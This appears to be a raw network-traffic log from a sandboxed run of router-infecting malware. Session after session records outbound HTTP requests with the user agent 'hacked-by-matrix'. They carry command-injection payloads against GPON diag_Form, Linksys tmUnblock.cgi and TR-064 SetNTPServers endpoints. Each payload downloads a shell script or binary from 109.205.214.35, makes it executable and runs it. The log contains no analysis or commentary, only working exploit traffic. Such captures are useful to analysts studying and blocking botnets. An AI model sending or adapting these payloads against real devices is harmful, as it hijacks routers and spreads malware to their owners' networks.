Mar 21, 2024 05:22:56.457537889 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
977	192.168.2.14	41150	42.233.173.206	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:56.457552910 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
978	192.168.2.14	47728	109.3.140.138	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:56.457587957 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
979	192.168.2.14	33092	42.132.165.203	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:56.457622051 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
980	192.168.2.14	54882	42.198.50.123	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:56.457688093 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
981	192.168.2.14	54994	94.169.151.37	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:56.457689047 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
982	192.168.2.14	51576	2.139.245.20	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:56.457770109 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
983	192.168.2.14	36606	5.194.165.78	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:56.457807064 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
984	192.168.2.14	32992	172.255.81.16	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:58.100522995 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:22:58.228490114 CET	413	IN	HTTP/1.0 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="login" Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 32 3e 3c 68 33 3e 41 63 63 65 73 73 20 74 6f 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 64 69 73 61 6c 6c 6f 77 65 64 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 6f 72 20 79 6f 75 20 6e 65 65 64 20 76 61 6c 69 64 20 75 73 65 72 6e 61 6d 65 2f 70 61 73 73 77 6f 72 64 20 74 6f 20 75 73 65 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>407 Proxy Authentication Required</title></head><body><h2>407 Proxy Authentication Required</h2><h3>Access to requested resource disallowed by administrator or you need valid username/password to use this resource</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
985	192.168.2.14	46454	134.41.219.92	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:58.723710060 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:59.423342943 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:00.252392054 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:01.920279026 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:05.408133030 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:12.061536074 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
986	192.168.2.14	46464	134.41.219.92	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:58.860383987 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:59.583318949 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:00.416327000 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:02.083340883 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:05.408124924 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:12.061539888 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
987	192.168.2.14	50136	23.87.90.220	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:58.860996008 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
988	192.168.2.14	50140	23.87.90.220	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.025294065 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
989	192.168.2.14	43532	42.158.116.188	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.467370987 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
990	192.168.2.14	43830	42.170.118.98	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.467375040 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
991	192.168.2.14	56444	37.191.153.104	443

Timestamp	Bytes transferred	Direction	Data
